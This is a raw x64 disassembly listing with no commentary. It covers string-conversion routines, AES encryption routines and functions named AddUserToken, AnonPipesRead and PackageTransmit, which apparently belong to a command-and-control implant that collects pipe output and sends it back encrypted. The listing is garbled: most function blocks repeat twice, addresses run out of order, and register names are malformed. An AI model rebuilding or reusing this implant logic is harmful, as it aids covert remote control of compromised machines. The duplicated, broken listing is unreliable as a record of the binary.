140007910pop r12
140007912pop r13
140007914pop r14
140007916ret
140007917
140007917 66 0f 1f 84 00 00 00 00 00 f........
140007920
140007920loc_140007920:
140007920xor eax, eax
140007922mov r14l, ebp
140007925lea rdi, [rsp+62]
14000792axor r13l, r13l
14000792dmov [rsp+62], ax
140007932jmp 0x140007940
140007934
140007934 0f 1f 40 00 ..@.
140007938
140007938loc_140007938:
140007938cdqe
14000793amov rdx, [rbx]
14000793dadd r13, rax
140007940
140007940loc_140007940:
140007940mov [rsp+40], ebp
140007944add rdx, r13
140007947mov r9, rsi
14000794amov r8, r14
14000794dmov [rsp+32], r12l
140007952mov rcx, rdi
140007955call __mbrtowc_cp
14000795atest eax, eax
14000795cjg 0x140007938
14000795ejmp 0x140007905
140007960
140007960loc_140007960:
140007960xor r13l, r13l
140007963jmp 0x140007905
140007860
140007860mbsrtowcs:
140007860push r14
140007862push r13
140007864push r12
140007866push rbp
140007867push rdi
140007868push rsi
140007869push rbx
14000786asub rsp, 64
14000786elea rax, [rip+0x292bf]
140007875mov rsi, r9
140007878test r9, r9
14000787bmov r14, rcx
14000787emov rbx, rdx
140007881cmove rsi, rax
140007885mov rdi, r8
140007888call ___lc_codepage_func
14000788dmov r12l, eax
140007890call ___mb_cur_max_func
140007895mov ebp, eax
140007897test rbx, rbx
14000789aje 0x140007960
1400078a0mov rdx, [rbx]
1400078a3test rdx, rdx
1400078a6je 0x140007960
1400078actest r14, r14
1400078afje 0x140007920
1400078b1xor r13l, r13l
1400078b4test rdi, rdi
1400078b7jne 0x1400078d7
1400078b9jmp 0x140007905
1400078bb
1400078bb 0f 1f 44 00 00 ..D..
1400078c0
1400078c0loc_1400078c0:
1400078c0mov rdx, [rbx]
1400078c3cdqe
1400078c5add r14, 2
1400078c9add r13, rax
1400078ccadd rdx, rax
1400078cfmov [rbx], rdx
1400078d2cmp r13, rdi
1400078d5jae 0x140007905
1400078d7
1400078d7loc_1400078d7:
1400078d7mov [rsp+40], ebp
1400078dbmov r8, rdi
1400078demov r9, rsi
1400078e1mov rcx, r14
1400078e4mov [rsp+32], r12l
1400078e9sub r8, r13
1400078eccall __mbrtowc_cp
1400078f1test eax, eax
1400078f3jg 0x1400078c0
1400078f5cmp r13, rdi
1400078f8jae 0x140007905
1400078fatest eax, eax
1400078fcjne 0x140007905
1400078femov [rbx], 0
140007905
140007905loc_140007905:
140007905mov rax, r13
140007908add rsp, 64
14000790cpop rbx
14000790dpop rsi
14000790epop rdi
14000790fpop rbp
140007910pop r12
140007912pop r13
140007914pop r14
140007916ret
140007917
140007917 66 0f 1f 84 00 00 00 00 00 f........
140007920
140007920loc_140007920:
140007920xor eax, eax
140007922mov r14l, ebp
140007925lea rdi, [rsp+62]
14000792axor r13l, r13l
14000792dmov [rsp+62], ax
140007932jmp 0x140007940
140007934
140007934 0f 1f 40 00 ..@.
140007938
140007938loc_140007938:
140007938cdqe
14000793amov rdx, [rbx]
14000793dadd r13, rax
140007940
140007940loc_140007940:
140007940mov [rsp+40], ebp
140007944add rdx, r13
140007947mov r9, rsi
14000794amov r8, r14
14000794dmov [rsp+32], r12l
140007952mov rcx, rdi
140007955call __mbrtowc_cp
14000795atest eax, eax
14000795cjg 0x140007938
14000795ejmp 0x140007905
140007960
140007960loc_140007960:
140007960xor r13l, r13l
140007963jmp 0x140007905
140007860
140007965
140007965 // align 0x10
140007965 // align 0x10
140007970
140007970mbrlen:
140007970push rbp
140007971push rdi
140007972push rsi
140007973push rbx
140007974sub rsp, 72
140007978xor eax, eax
14000797amov rsi, rcx
14000797dmov rdi, rdx
140007980mov rbx, r8
140007983mov [rsp+62], ax
140007988call ___mb_cur_max_func
14000798dmov ebp, eax
14000798fcall ___lc_codepage_func
140007994test rbx, rbx
140007997mov [rsp+40], ebp
14000799bmov r8, rdi
14000799elea rdx, [rip+0x2918b]
1400079a5mov [rsp+32], eax
1400079a9lea rcx, [rsp+62]
1400079aecmove rbx, rdx
1400079b2mov rdx, rsi
1400079b5mov r9, rbx
1400079b8call __mbrtowc_cp
1400079bdcdqe
1400079bfadd rsp, 72
1400079c3pop rbx
1400079c4pop rsi
1400079c5pop rdi
1400079c6pop rbp
1400079c7ret
140007970
140007970mbrlen:
140007970push rbp
140007971push rdi
140007972push rsi
140007973push rbx
140007974sub rsp, 72
140007978xor eax, eax
14000797amov rsi, rcx
14000797dmov rdi, rdx
140007980mov rbx, r8
140007983mov [rsp+62], ax
140007988call ___mb_cur_max_func
14000798dmov ebp, eax
14000798fcall ___lc_codepage_func
140007994test rbx, rbx
140007997mov [rsp+40], ebp
14000799bmov r8, rdi
14000799elea rdx, [rip+0x2918b]
1400079a5mov [rsp+32], eax
1400079a9lea rcx, [rsp+62]
1400079aecmove rbx, rdx
1400079b2mov rdx, rsi
1400079b5mov r9, rbx
1400079b8call __mbrtowc_cp
1400079bdcdqe
1400079bfadd rsp, 72
1400079c3pop rbx
1400079c4pop rsi
1400079c5pop rdi
1400079c6pop rbp
1400079c7ret
140007970
1400079c8
1400079c8 // align 0x10
1400079c8 // align 0x10
1400079d6
1400079d6 90 90 ..
1400079d6 90 90 ..
1400079de
1400079de // align 0x10
1400079de // align 0x10
1400079e6
1400079e6 90 90 ..
1400079e6 90 90 ..
1400079ee
1400079ee // align 0x10
1400079ee // align 0x10
1400079f6
1400079f6 90 90 ..
1400079f6 90 90 ..
1400079fe
1400079fe // align 0x10
1400079fe // align 0x10
140007a06
140007a06 90 90 ..
140007a06 90 90 ..
140007a0e
140007a0e // align 0x10
140007a0e // align 0x10
140007a16
140007a16 90 90 ..
140007a16 90 90 ..
140007a1e
140007a1e // align 0x10
140007a1e // align 0x10
140007a26
140007a26 90 90 ..
140007a26 90 90 ..
140007a2e
140007a2e // align 0x10
140007a2e // align 0x10
140007a36
140007a36 90 90 ..
140007a36 90 90 ..
140007a3e
140007a3e // align 0x10
140007a3e // align 0x10
140007a46
140007a46 90 90 ..
140007a46 90 90 ..
140007a4e
140007a4e // align 0x10
140007a4e // align 0x10
140007a56
140007a56 90 90 ..
140007a56 90 90 ..
140007a5e
140007a5e // align 0x10
140007a5e // align 0x10
140007a66
140007a66 90 90 ..
140007a66 90 90 ..
140007a6e
140007a6e // align 0x10
140007a6e // align 0x10
140007a76
140007a76 90 90 ..
140007a76 90 90 ..
140007a7e
140007a7e // align 0x10
140007a7e // align 0x10
140007a86
140007a86 90 90 ..
140007a86 90 90 ..
140007a8e
140007a8e // align 0x10
140007a8e // align 0x10
140007a96
140007a96 90 90 ..
140007a96 90 90 ..
140007a9e
140007a9e // align 0x10
140007a9e // align 0x10
140007aa6
140007aa6 90 90 ..
140007aa6 90 90 ..
140007aae
140007aae // align 0x10
140007aae // align 0x10
140007ab6
140007ab6 90 90 ..
140007ab6 90 90 ..
140007abe
140007abe // align 0x10
140007abe // align 0x10
140007ac6
140007ac6 90 90 ..
140007ac6 90 90 ..
140007ace
140007ace // align 0x10
140007ace // align 0x10
140007ad0
140007ad0AddRoundKey:
140007ad0shl rcx, 4
140007ad4xor eax, eax
140007ad6and ecx, 4080
140007adcadd r8, rcx
140007adf
140007adfloc_140007adf:
140007adflea r9, [rdx+rax]
140007ae3lea r10, [rax+r8]
140007ae7xor ecx, ecx
140007ae9
140007ae9loc_140007ae9:
140007ae9mov r11b, [r10+rcx]
140007aedinc rcx
140007af0xor [r9], r11b
140007af3inc r9
140007af6cmp rcx, 4
140007afajne 0x140007ae9
140007afcadd rax, 4
140007b00cmp rax, 16
140007b04jne 0x140007adf
140007b06ret
140007ad0
140007ad0AddRoundKey:
140007ad0shl rcx, 4
140007ad4xor eax, eax
140007ad6and ecx, 4080
140007adcadd r8, rcx
140007adf
140007adfloc_140007adf:
140007adflea r9, [rdx+rax]
140007ae3lea r10, [rax+r8]
140007ae7xor ecx, ecx
140007ae9
140007ae9loc_140007ae9:
140007ae9mov r11b, [r10+rcx]
140007aedinc rcx
140007af0xor [r9], r11b
140007af3inc r9
140007af6cmp rcx, 4
140007afajne 0x140007ae9
140007afcadd rax, 4
140007b00cmp rax, 16
140007b04jne 0x140007adf
140007b06ret
140007ad0
140007b07
140007b07 // align 0x10
140007b07 // align 0x10
140007b10
140007b10AddUserToken:
140007b10push r12
140007b12xor r12l, r12l
140007b15push rbp
140007b16push rdi
140007b17mov rdi, rdx
140007b1apush rsi
140007b1bmov rsi, r8
140007b1epush rbx
140007b1fmov rbx, rcx
140007b22sub rsp, 32
140007b26
140007b26loc_140007b26:
140007b26mov ecx, [rsi]
140007b28cmp r12l, ecx
140007b2bjae 0x140007b90
140007b2dmov ebp, r12l
140007b30mov rdx, rbx
140007b33imul rbp, rbp, 1056
140007b3aadd rbp, rdi
140007b3dmov rcx, rbp
140007b40call StringCompareW
140007b45test eax, eax
140007b47jne 0x140007b8b
140007b49mov eax, [rbx+1048]
140007b4fcmp [rbp+1048], eax
140007b55jne 0x140007b8b
140007b57mov rax, [rbx+1040]
140007b5ecmp [rbp+1040], rax
140007b65jne 0x140007b8b
140007b67cmp [rbp+1032], 0
140007b6fmov rax, [rbx+1032]
140007b76jne 0x140007b82
140007b78test rax, rax
140007b7bjne 0x140007b8b
140007b7djmp 0x140007c0c
140007b82
140007b82loc_140007b82:
140007b82test rax, rax
140007b85jne 0x140007c0c
140007b8b
140007b8bloc_140007b8b:
140007b8binc r12l
140007b8ejmp 0x140007b26
140007b90
140007b90loc_140007b90:
140007b90imul rcx, rcx, 1056
140007b97mov rdx, rbx
140007b9aadd rcx, rdi
140007b9dcall StringCopyW
140007ba2mov eax, [rsi]
140007ba4mov edx, [rbx+1024]
140007baaimul rax, rax, 1056
140007bb1mov [rdi+rax+1024], edx
140007bb8mov eax, [rsi]
140007bbamov rdx, [rbx+1032]
140007bc1imul rax, rax, 1056
140007bc8add rax, rdi
140007bcbmov [rax+1032], rdx
140007bd2mov edx, [rbx+1044]
140007bd8mov [rax+1044], edx
140007bdemov eax, [rsi]
140007be0mov edx, [rbx+1048]
140007be6imul rax, rax, 1056
140007bedmov [rdi+rax+1048], edx
140007bf4mov eax, [rsi]
140007bf6mov edx, [rbx+1040]
140007bfcimul rax, rax, 1056
140007c03mov [rdi+rax+1040], edx
140007c0ainc [rsi]
140007c0c
140007c0cloc_140007c0c:
140007c0cadd rsp, 32
140007c10pop rbx
140007c11pop rsi
140007c12pop rdi
140007c13pop rbp
140007c14pop r12
140007c16ret
140007b10
140007b10AddUserToken:
140007b10push r12
140007b12xor r12l, r12l
140007b15push rbp
140007b16push rdi
140007b17mov rdi, rdx
140007b1apush rsi
140007b1bmov rsi, r8
140007b1epush rbx
140007b1fmov rbx, rcx
140007b22sub rsp, 32
140007b26
140007b26loc_140007b26:
140007b26mov ecx, [rsi]
140007b28cmp r12l, ecx
140007b2bjae 0x140007b90
140007b2dmov ebp, r12l
140007b30mov rdx, rbx
140007b33imul rbp, rbp, 1056
140007b3aadd rbp, rdi
140007b3dmov rcx, rbp
140007b40call StringCompareW
140007b45test eax, eax
140007b47jne 0x140007b8b
140007b49mov eax, [rbx+1048]
140007b4fcmp [rbp+1048], eax
140007b55jne 0x140007b8b
140007b57mov rax, [rbx+1040]
140007b5ecmp [rbp+1040], rax
140007b65jne 0x140007b8b
140007b67cmp [rbp+1032], 0
140007b6fmov rax, [rbx+1032]
140007b76jne 0x140007b82
140007b78test rax, rax
140007b7bjne 0x140007b8b
140007b7djmp 0x140007c0c
140007b82
140007b82loc_140007b82:
140007b82test rax, rax
140007b85jne 0x140007c0c
140007b8b
140007b8bloc_140007b8b:
140007b8binc r12l
140007b8ejmp 0x140007b26
140007b90
140007b90loc_140007b90:
140007b90imul rcx, rcx, 1056
140007b97mov rdx, rbx
140007b9aadd rcx, rdi
140007b9dcall StringCopyW
140007ba2mov eax, [rsi]
140007ba4mov edx, [rbx+1024]
140007baaimul rax, rax, 1056
140007bb1mov [rdi+rax+1024], edx
140007bb8mov eax, [rsi]
140007bbamov rdx, [rbx+1032]
140007bc1imul rax, rax, 1056
140007bc8add rax, rdi
140007bcbmov [rax+1032], rdx
140007bd2mov edx, [rbx+1044]
140007bd8mov [rax+1044], edx
140007bdemov eax, [rsi]
140007be0mov edx, [rbx+1048]
140007be6imul rax, rax, 1056
140007bedmov [rdi+rax+1048], edx
140007bf4mov eax, [rsi]
140007bf6mov edx, [rbx+1040]
140007bfcimul rax, rax, 1056
140007c03mov [rdi+rax+1040], edx
140007c0ainc [rsi]
140007c0c
140007c0cloc_140007c0c:
140007c0cadd rsp, 32
140007c10pop rbx
140007c11pop rsi
140007c12pop rdi
140007c13pop rbp
140007c14pop r12
140007c16ret
140007b10
140007c17
140007c17 // align 0x10
140007c17 // align 0x10
140007c20
140007c20AesInit:
140007c20push rbp
140007c21mov rbp, rsp
140007c24push rsi
140007c25mov rsi, r8
140007c28push rbx
140007c29mov rbx, rcx
140007c2cand rsp, -16
140007c30sub rsp, 32
140007c34call KeyExpansion
140007c39mov rax, [rsi]
140007c3cmov rdx, [rsi+8]
140007c40mov [rbx+240], rax
140007c47mov [rbx+248], rdx
140007c4elea rsp, [rbp-16]
140007c52pop rbx
140007c53pop rsi
140007c54pop rbp
140007c55ret
140007c20
140007c20AesInit:
140007c20push rbp
140007c21mov rbp, rsp
140007c24push rsi
140007c25mov rsi, r8
140007c28push rbx
140007c29mov rbx, rcx
140007c2cand rsp, -16
140007c30sub rsp, 32
140007c34call KeyExpansion
140007c39mov rax, [rsi]
140007c3cmov rdx, [rsi+8]
140007c40mov [rbx+240], rax
140007c47mov [rbx+248], rdx
140007c4elea rsp, [rbp-16]
140007c52pop rbx
140007c53pop rsi
140007c54pop rbp
140007c55ret
140007c20
140007c56
140007c56 // align 0x10
140007c56 // align 0x10
140007c60
140007c60AesXCryptBuffer:
140007c60push rbp
140007c61lea rax, [rdx+r8]
140007c65mov rbp, rsp
140007c68push r15
140007c6apush r14
140007c6cpush r13
140007c6epush r12
140007c70push rdi
140007c71push rsi
140007c72mov rsi, rdx
140007c75push rbx
140007c76mov rbx, rcx
140007c79and rsp, -16
140007c7dsub rsp, 64
140007c81lea rdi, [rsp+48]
140007c86mov [rsp+40], rax
140007c8bmov eax, 16
140007c90mov [rsp+32], rdi
140007c95
140007c95loc_140007c95:
140007c95cmp [rsp+40], rsi
140007c9aje 0x140007e7f
140007ca0cmp eax, 16
140007ca3jne 0x140007e6c
140007ca9movups x0, [rbx+240]
140007cb0mov r8, rbx
140007cb3xor ecx, ecx
140007cb5mov r12b, 27
140007cb8lea rdx, [rsp+48]
140007cbdmov r14l, 1
140007cc3lea rdi, [rsp+52]
140007cc8movups [rsp+48], x0
140007ccdlea r13, [rip+0x2582c]
140007cd4call AddRoundKey
140007cd9
140007cd9loc_140007cd9:
140007cd9lea rdx, [rsp+48]
140007cdemov rcx, rdx
140007ce1
140007ce1loc_140007ce1:
140007ce1mov rax, rcx
140007ce4xor r8l, r8l
140007ce7
140007ce7loc_140007ce7:
140007ce7movzx r9l, [rax]
140007cebinc r8l
140007ceeadd rax, 4
140007cf2mov r9b, [r13+r9]
140007cf7mov [rax-4], r9b
140007cfbcmp r8b, 4
140007cffjne 0x140007ce7
140007d01inc rcx
140007d04cmp rdi, rcx
140007d07jne 0x140007ce1
140007d09mov cl, [rsp+53]
140007d0dmov al, [rsp+49]
140007d11mov [rsp+49], cl
140007d15mov cl, [rsp+57]
140007d19mov [rsp+53], cl
140007d1dmov cl, [rsp+61]
140007d21mov [rsp+61], al
140007d25mov al, [rsp+50]
140007d29mov [rsp+57], cl
140007d2dmov cl, [rsp+58]
140007d31mov [rsp+58], al
140007d35mov al, [rsp+54]
140007d39mov [rsp+50], cl
140007d3dmov cl, [rsp+62]
140007d41mov [rsp+62], al
140007d45mov al, [rsp+51]
140007d49mov [rsp+54], cl
140007d4dmov cl, [rsp+63]
140007d51mov [rsp+51], cl
140007d55mov cl, [rsp+59]
140007d59mov [rsp+63], cl
140007d5dmov cl, [rsp+55]
140007d61mov [rsp+55], al
140007d65mov [rsp+59], cl
140007d69cmp r14l, 14
140007d6dje 0x140007e31
140007d73lea r11, [rdx+16]
140007d77
140007d77loc_140007d77:
140007d77mov cl, [rdx]
140007d79mov r9b, [rdx+1]
140007d7dadd rdx, 4
140007d81mov r8b, [rdx-2]
140007d85xor r8b, [rdx-1]
140007d89xor r9l, ecx
140007d8cmov r15l, ecx
140007d8fxor cl, [rdx-1]
140007d92mov eax, r9l
140007d95mov r10l, r9l
140007d98add r9l, r9l
140007d9bshr al, 7
140007d9exor r10l, r8l
140007da1imul eax, r12l
140007da5xor r15l, r10l
140007da8xor r15l, eax
140007dabxor r9l, r15l
140007daemov r15b, [rdx-3]
140007db2xor r15b, [rdx-2]
140007db6mov eax, r15l
140007db9mov [rdx-4], r9b
140007dbdmov r9b, [rdx-3]
140007dc1add r15l, r15l
140007dc4shr al, 7
140007dc7imul eax, r12l
140007dcbxor r9l, r10l
140007dcexor r9l, eax
140007dd1mov eax, r8l
140007dd4add r8l, r8l
140007dd7shr al, 7
140007ddaxor r15l, r9l
140007dddmov r9b, [rdx-2]
140007de1imul eax, r12l
140007de5mov [rdx-3], r15b
140007de9xor r9l, r10l
140007decxor r10b, [rdx-1]
140007df0xor r9l, eax
140007df3mov eax, ecx
140007df5add ecx, ecx
140007df7shr al, 7
140007dfaxor r8l, r9l
140007dfdimul eax, r12l
140007e01mov [rdx-2], r8b
140007e05mov r8l, r10l
140007e08xor eax, r8l
140007e0bxor ecx, eax
140007e0dmov [rdx-1], cl
140007e10cmp r11, rdx
140007e13jne 0x140007d77
140007e19mov rdx, [rsp+32]
140007e1emov ecx, r14l
140007e21mov r8, rbx
140007e24inc r14l
140007e27call AddRoundKey
140007e2cjmp 0x140007cd9
140007e31
140007e31loc_140007e31:
140007e31mov r8, rbx
140007e34mov ecx, 14
140007e39call AddRoundKey
140007e3emov eax, 15
140007e43
140007e43loc_140007e43:
140007e43mov dl, [rbx+rax+240]
140007e4acmp dl, -1
140007e4djne 0x140007e5f
140007e4fmov [rbx+rax+240], 0
140007e57sub rax, 1
140007e5bjae 0x140007e43
140007e5djmp 0x140007e6a
140007e5f
140007e5floc_140007e5f:
140007e5fcdqe
140007e61inc edx
140007e63mov [rbx+rax+240], dl
140007e6a
140007e6aloc_140007e6a:
140007e6axor eax, eax
140007e6c
140007e6cloc_140007e6c:
140007e6cmovsxd rdx, eax
140007e6finc eax
140007e71mov dl, [rsp+rdx+48]
140007e75xor [rsi], dl
140007e77inc rsi
140007e7ajmp 0x140007c95
140007e7f
140007e7floc_140007e7f:
140007e7flea rsp, [rbp-56]
140007e83pop rbx
140007e84pop rsi
140007e85pop rdi
140007e86pop r12
140007e88pop r13
140007e8apop r14
140007e8cpop r15
140007e8epop rbp
140007e8fret
140007c60
140007c60AesXCryptBuffer:
140007c60push rbp
140007c61lea rax, [rdx+r8]
140007c65mov rbp, rsp
140007c68push r15
140007c6apush r14
140007c6cpush r13
140007c6epush r12
140007c70push rdi
140007c71push rsi
140007c72mov rsi, rdx
140007c75push rbx
140007c76mov rbx, rcx
140007c79and rsp, -16
140007c7dsub rsp, 64
140007c81lea rdi, [rsp+48]
140007c86mov [rsp+40], rax
140007c8bmov eax, 16
140007c90mov [rsp+32], rdi
140007c95
140007c95loc_140007c95:
140007c95cmp [rsp+40], rsi
140007c9aje 0x140007e7f
140007ca0cmp eax, 16
140007ca3jne 0x140007e6c
140007ca9movups x0, [rbx+240]
140007cb0mov r8, rbx
140007cb3xor ecx, ecx
140007cb5mov r12b, 27
140007cb8lea rdx, [rsp+48]
140007cbdmov r14l, 1
140007cc3lea rdi, [rsp+52]
140007cc8movups [rsp+48], x0
140007ccdlea r13, [rip+0x2582c]
140007cd4call AddRoundKey
140007cd9
140007cd9loc_140007cd9:
140007cd9lea rdx, [rsp+48]
140007cdemov rcx, rdx
140007ce1
140007ce1loc_140007ce1:
140007ce1mov rax, rcx
140007ce4xor r8l, r8l
140007ce7
140007ce7loc_140007ce7:
140007ce7movzx r9l, [rax]
140007cebinc r8l
140007ceeadd rax, 4
140007cf2mov r9b, [r13+r9]
140007cf7mov [rax-4], r9b
140007cfbcmp r8b, 4
140007cffjne 0x140007ce7
140007d01inc rcx
140007d04cmp rdi, rcx
140007d07jne 0x140007ce1
140007d09mov cl, [rsp+53]
140007d0dmov al, [rsp+49]
140007d11mov [rsp+49], cl
140007d15mov cl, [rsp+57]
140007d19mov [rsp+53], cl
140007d1dmov cl, [rsp+61]
140007d21mov [rsp+61], al
140007d25mov al, [rsp+50]
140007d29mov [rsp+57], cl
140007d2dmov cl, [rsp+58]
140007d31mov [rsp+58], al
140007d35mov al, [rsp+54]
140007d39mov [rsp+50], cl
140007d3dmov cl, [rsp+62]
140007d41mov [rsp+62], al
140007d45mov al, [rsp+51]
140007d49mov [rsp+54], cl
140007d4dmov cl, [rsp+63]
140007d51mov [rsp+51], cl
140007d55mov cl, [rsp+59]
140007d59mov [rsp+63], cl
140007d5dmov cl, [rsp+55]
140007d61mov [rsp+55], al
140007d65mov [rsp+59], cl
140007d69cmp r14l, 14
140007d6dje 0x140007e31
140007d73lea r11, [rdx+16]
140007d77
140007d77loc_140007d77:
140007d77mov cl, [rdx]
140007d79mov r9b, [rdx+1]
140007d7dadd rdx, 4
140007d81mov r8b, [rdx-2]
140007d85xor r8b, [rdx-1]
140007d89xor r9l, ecx
140007d8cmov r15l, ecx
140007d8fxor cl, [rdx-1]
140007d92mov eax, r9l
140007d95mov r10l, r9l
140007d98add r9l, r9l
140007d9bshr al, 7
140007d9exor r10l, r8l
140007da1imul eax, r12l
140007da5xor r15l, r10l
140007da8xor r15l, eax
140007dabxor r9l, r15l
140007daemov r15b, [rdx-3]
140007db2xor r15b, [rdx-2]
140007db6mov eax, r15l
140007db9mov [rdx-4], r9b
140007dbdmov r9b, [rdx-3]
140007dc1add r15l, r15l
140007dc4shr al, 7
140007dc7imul eax, r12l
140007dcbxor r9l, r10l
140007dcexor r9l, eax
140007dd1mov eax, r8l
140007dd4add r8l, r8l
140007dd7shr al, 7
140007ddaxor r15l, r9l
140007dddmov r9b, [rdx-2]
140007de1imul eax, r12l
140007de5mov [rdx-3], r15b
140007de9xor r9l, r10l
140007decxor r10b, [rdx-1]
140007df0xor r9l, eax
140007df3mov eax, ecx
140007df5add ecx, ecx
140007df7shr al, 7
140007dfaxor r8l, r9l
140007dfdimul eax, r12l
140007e01mov [rdx-2], r8b
140007e05mov r8l, r10l
140007e08xor eax, r8l
140007e0bxor ecx, eax
140007e0dmov [rdx-1], cl
140007e10cmp r11, rdx
140007e13jne 0x140007d77
140007e19mov rdx, [rsp+32]
140007e1emov ecx, r14l
140007e21mov r8, rbx
140007e24inc r14l
140007e27call AddRoundKey
140007e2cjmp 0x140007cd9
140007e31
140007e31loc_140007e31:
140007e31mov r8, rbx
140007e34mov ecx, 14
140007e39call AddRoundKey
140007e3emov eax, 15
140007e43
140007e43loc_140007e43:
140007e43mov dl, [rbx+rax+240]
140007e4acmp dl, -1
140007e4djne 0x140007e5f
140007e4fmov [rbx+rax+240], 0
140007e57sub rax, 1
140007e5bjae 0x140007e43
140007e5djmp 0x140007e6a
140007e5f
140007e5floc_140007e5f:
140007e5fcdqe
140007e61inc edx
140007e63mov [rbx+rax+240], dl
140007e6a
140007e6aloc_140007e6a:
140007e6axor eax, eax
140007e6c
140007e6cloc_140007e6c:
140007e6cmovsxd rdx, eax
140007e6finc eax
140007e71mov dl, [rsp+rdx+48]
140007e75xor [rsi], dl
140007e77inc rsi
140007e7ajmp 0x140007c95
140007e7f
140007e7floc_140007e7f:
140007e7flea rsp, [rbp-56]
140007e83pop rbx
140007e84pop rsi
140007e85pop rdi
140007e86pop r12
140007e88pop r13
140007e8apop r14
140007e8cpop r15
140007e8epop rbp
140007e8fret
140007c60
140007e90
140007e90AnonPipesInit:
140007e90push rsi
140007e91xor eax, eax
140007e93lea rdx, [rcx+8]
140007e97xor r9l, r9l
140007e9apush rbx
140007e9bmov ebx, 1
140007ea0sub rsp, 72
140007ea4mov rsi, [rip+0x244c5]
140007eabmov [rsp+40], 24
140007eb3lea r8, [rsp+40]
140007eb8mov [rsp+48], rax
140007ebdmov [rsp+56], 1
140007ec5call [rsi+908]
140007ecbtest eax, eax
140007ecdjne 0x140007ee5
140007ecfmov ebx, eax
140007ed1mov rax, [rsi+2230]
140007ed8mov ecx, 1
140007eddmov edx, [rax+104]
140007ee0call PackageTransmitError
140007ee5
140007ee5loc_140007ee5:
140007ee5add rsp, 72
140007ee9mov eax, ebx
140007eebpop rbx
140007eecpop rsi
140007eedret
140007e90
140007e90AnonPipesInit:
140007e90push rsi
140007e91xor eax, eax
140007e93lea rdx, [rcx+8]
140007e97xor r9l, r9l
140007e9apush rbx
140007e9bmov ebx, 1
140007ea0sub rsp, 72
140007ea4mov rsi, [rip+0x244c5]
140007eabmov [rsp+40], 24
140007eb3lea r8, [rsp+40]
140007eb8mov [rsp+48], rax
140007ebdmov [rsp+56], 1
140007ec5call [rsi+908]
140007ecbtest eax, eax
140007ecdjne 0x140007ee5
140007ecfmov ebx, eax
140007ed1mov rax, [rsi+2230]
140007ed8mov ecx, 1
140007eddmov edx, [rax+104]
140007ee0call PackageTransmitError
140007ee5
140007ee5loc_140007ee5:
140007ee5add rsp, 72
140007ee9mov eax, ebx
140007eebpop rbx
140007eecpop rsi
140007eedret
140007e90
140007eee
140007eee // align 0x10
140007eee // align 0x10
140007ef0
140007ef0AnonPipesRead:
140007ef0push r15
140007ef2xor eax, eax
140007ef4xor r8l, r8l
140007ef7lea r9, [rip+0x2271d]
140007efepush r14
140007f00push r13
140007f02push r12
140007f04mov r12, rcx
140007f07xor ecx, ecx
140007f09push rbp
140007f0apush rdi
140007f0bpush rsi
140007f0cpush rbx
140007f0dsub rsp, 1112
140007f14mov [rsp+80], rcx
140007f19lea rdi, [rsp+96]
140007f1emov [rsp+88], rcx
140007f23mov ecx, 252
140007f28rep stosd [rdi], eax
140007f2amov [rsp+1192], edx
140007f31lea rcx, [rip+0x22435]
140007f38lea rdx, [rip+0x25271]
140007f3fmov [rsp+76], r8l
140007f44mov r8l, 1011
140007f4acall printf
140007f4fmov r9, [r12]
140007f53lea rcx, [rip+0x226d9]
140007f5amov r8l, 1012
140007f60lea rdx, [rip+0x25249]
140007f67call printf
140007f6cmov rcx, [r12+8]
140007f71test rcx, rcx
140007f74je 0x140007f82
140007f76call SysNtClose
140007f7bxor edx, edx
140007f7dmov [r12+8], rdx
140007f82
140007f82loc_140007f82:
140007f82mov r13, [rip+0x243e7]
140007f89xor edx, edx
140007f8bmov ecx, 64
140007f90xor ebx, ebx
140007f92lea r14, [rsp+80]
140007f97call [r13+932]
140007f9emov rbp, rax
140007fa1lea rax, [rsp+76]
140007fa6mov [rsp+56], rax
140007fab
140007fabloc_140007fab:
140007fabxor eax, eax
140007fadmov r9, [rsp+56]
140007fb2mov r8l, 1024
140007fb8mov rdx, r14
140007fbbmov [rsp+32], rax
140007fc0mov rcx, [r12]
140007fc4call [r13+916]
140007fcbmov r9l, [rsp+76]
140007fd0mov r8l, 1023
140007fd6lea rdx, [rip+0x251d3]
140007fddlea rcx, [rip+0x2267c]
140007fe4mov r15l, eax
140007fe7call printf
140007fecmov eax, [rsp+76]
140007ff0test eax, eax
140007ff2je 0x140008034
140007ff4lea edx, [rbx+rax]
140007ff7mov rcx, rbp
140007ffamov r8l, 2
140008000mov rsi, r14
140008003mov rbx, rdx
140008006call [r13+948]
14000800dmov ecx, [rsp+76]
140008011mov rbp, rax
140008014mov eax, ebx
140008016sub eax, ecx
140008018add rax, rbp
14000801bmov rdi, rax
14000801exor eax, eax
140008020rep movsb [rdi], [rsi]
140008022mov rdi, r14
140008025mov ecx, [rsp+76]
140008029rep stosb [rdi], al
14000802bdec r15l
14000802eje 0x140007fab
140008034
140008034loc_140008034:
140008034test ebx, ebx
140008036je 0x140008062
140008038mov edx, [rsp+1192]
14000803fmov ecx, 90
140008044call PackageCreateWithRequestID
140008049mov r8l, ebx
14000804cmov rdx, rbp
14000804fmov r12, rax
140008052mov rcx, rax
140008055call PackageAddBytes
14000805amov rcx, r12
14000805dcall PackageTransmit
140008062
140008062loc_140008062:
140008062test rbp, rbp
140008065je 0x14000807a
140008067mov ecx, ebx
140008069mov rdi, rbp
14000806cxor eax, eax
14000806erep stosb [rdi], al
140008070mov rcx, rbp
140008073call [r13+940]
14000807a
14000807aloc_14000807a:
14000807aadd rsp, 1112
140008081pop rbx
140008082pop rsi
140008083pop rdi
140008084pop rbp
140008085pop r12
140008087pop r13
140008089pop r14
14000808bpop r15
14000808dret
140007ef0
140007ef0AnonPipesRead:
140007ef0push r15
140007ef2xor eax, eax
140007ef4xor r8l, r8l
140007ef7lea r9, [rip+0x2271d]
140007efepush r14
140007f00push r13
140007f02push r12
140007f04mov r12, rcx
140007f07xor ecx, ecx
140007f09push rbp
140007f0apush rdi
140007f0bpush rsi
140007f0cpush rbx
140007f0dsub rsp, 1112
140007f14mov [rsp+80], rcx
140007f19lea rdi, [rsp+96]
140007f1emov [rsp+88], rcx
140007f23mov ecx, 252
140007f28rep stosd [rdi], eax
140007f2amov [rsp+1192], edx
140007f31lea rcx, [rip+0x22435]
140007f38lea rdx, [rip+0x25271]
140007f3fmov [rsp+76], r8l
140007f44mov r8l, 1011
140007f4acall printf
140007f4fmov r9, [r12]
140007f53lea rcx, [rip+0x226d9]
140007f5amov r8l, 1012
140007f60lea rdx, [rip+0x25249]
140007f67call printf
140007f6cmov rcx, [r12+8]
140007f71test rcx, rcx
140007f74je 0x140007f82
140007f76call SysNtClose
140007f7bxor edx, edx
140007f7dmov [r12+8], rdx
140007f82
140007f82loc_140007f82:
140007f82mov r13, [rip+0x243e7]
140007f89xor edx, edx
